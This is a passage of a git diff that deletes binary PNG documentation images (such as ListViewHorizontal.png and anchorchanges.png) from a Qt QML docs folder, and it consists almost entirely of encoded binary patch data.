zHrnys)cmEXe-Sp$WRyJu%lB~E)-N8{E(tRSQLsHPBZ^nGsYKli6uB-};x_NE@f<0r zUa}az%MT>ftRx$jL)AIGwZi2#+vpxo#*oEad=_`*?1g>o{*x=PwzXXQVq8qmW`q=k z2rupEjG7DLdE-tBj6bv`O$4_$+_2*eA@2m!G(JGsCX6u_KXHJ}@(!-4@+zKr;MFj? z-#LM9CxJvT5{_v?E{)lkh0rzfD@u*^@hCii8-PS1FC(g8$#D}YUMxv$kvAhk*EWiA ze~le>SXqLo8Z{B;k5MhfIg30zZraA9E${^sJdrN#Y37zqXvas;Urc|i<##+ZMM1uL z)*7D$d!%>pX@=EmEPUVov%RfsV8VGqFslsO4;hf%Ex4@?B;EupT!q z7;ua@a`r?#Y`YmpsHpiJpm99NZs!K6TL2dn@a%s&)6H!jgRtGQG5k2E+x{a{A*P3~ z)9Ke`5>q*2-eOGdG%o|+ig}lvk}k_QP$m{EZTLUW9_vB>PsU&zx}1iyc(J^|3?c=n0Qi)};A}l*sG|${h3HALVQ+?+O`HW6EIIp;w$uwqGV(BW5CZUFloQm5oTWZt6 zUyApNjeYQf*;R^p1IK7S8Vv1EY`)CL?MaElc_oZ-QN>2SMEILSj@1~a-s2J-%Xpdo zJsPEvf);FCoJaWI>uQG3F&=e~{jLWoe#}jL4B*@kS>RYi-OT>S;(oki=Xu_%_>tPT zKB6Okxb?*`)p6KX=s*6psRzp{k8C?KyhJX>u4C>mHK>pR*&!MF)>`({i39c zVDc`QAE2=*V_Z+T3Y({Oc_}Q{{AreT%<$Uros6x$NA&OSY7%GisEBZWp~>UG%2CGm zJ(o#>m|G3RhPkaXJ`)fJi`Vh&uS^gXu=2_^HR0BPraxbM#Pw*1nCSH~Rhi_cdQ6(!?KfEjXMyf9t5$b<{j!QX)dn>K|t)Cy%n*EQGY5KJK{{Fn@CpsP7yk!r461$r diff --git a/src/qml/doc/images/ListViewHorizontal.png b/src/qml/doc/images/ListViewHorizontal.png deleted file mode 100644 index 4633a0e1517ad6106a446873552073a5199e2388..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5802 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 St4^@_49Q6;NtTHl`u-2jhJi-_ diff --git a/src/qml/doc/images/anchorchanges.png b/src/qml/doc/images/anchorchanges.png deleted file mode 100644 index 4973e4e9aa8933094bc4f3876353fd72a414d06e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 566 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 